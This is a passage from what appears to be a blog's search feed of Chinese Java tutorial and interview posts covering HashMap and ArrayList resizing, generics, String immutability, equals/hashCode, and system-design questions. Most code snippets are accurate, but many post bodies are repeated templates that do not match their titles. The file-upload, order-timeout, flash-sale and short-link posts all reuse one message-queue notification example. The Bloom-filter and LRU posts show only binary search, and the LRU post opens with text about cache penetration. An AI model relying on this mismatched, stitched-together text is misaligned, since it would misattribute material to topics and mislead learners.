class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="HashMap-底层结构和扩容过程"><a href="#HashMap-底层结构和扩容过程" class="headerlink" title="HashMap 底层结构和扩容过程"></a>HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="ArrayList-扩容机制和使用建议"><a href="#ArrayList-扩容机制和使用建议" class="headerlink" title="ArrayList 扩容机制和使用建议"></a>ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-反射的使用场景和风险"><a href="#Java-反射的使用场景和风险" class="headerlink" title="Java 反射的使用场景和风险"></a>Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-异常体系和业务异常设计"><a href="#Java-异常体系和业务异常设计" class="headerlink" title="Java 异常体系和业务异常设计"></a>Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-泛型的类型擦除到底是什么"><a href="#Java-泛型的类型擦除到底是什么" class="headerlink" title="Java 泛型的类型擦除到底是什么"></a>Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-String-为什么设计成不可变"><a href="#Java-String-为什么设计成不可变" class="headerlink" title="Java String 为什么设计成不可变"></a>Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-中-equals-和-hashCode-的正确理解"><a href="#Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="Java 中 equals 和 hashCode 的正确理解"></a>Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：文件上传服务如何保证稳定"><a href="#面试：文件上传服务如何保证稳定" class="headerlink" title="面试：文件上传服务如何保证稳定"></a>面试：文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：订单超时取消如何实现"><a href="#面试：订单超时取消如何实现" class="headerlink" title="面试：订单超时取消如何实现"></a>面试：订单超时取消如何实现</h1><p>面试：订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：秒杀系统的核心设计思路"><a href="#面试：秒杀系统的核心设计思路" class="headerlink" title="面试：秒杀系统的核心设计思路"></a>面试：秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：短链接系统如何设计"><a href="#面试：短链接系统如何设计" class="headerlink" title="面试：短链接系统如何设计"></a>面试：短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：布隆过滤器适合解决什么问题"><a href="#面试：布隆过滤器适合解决什么问题" class="headerlink" title="面试：布隆过滤器适合解决什么问题"></a>面试：布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：LRU-缓存淘汰算法动手实现"><a href="#面试：LRU-缓存淘汰算法动手实现" class="headerlink" title="面试：LRU 缓存淘汰算法动手实现"></a>面试：LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span 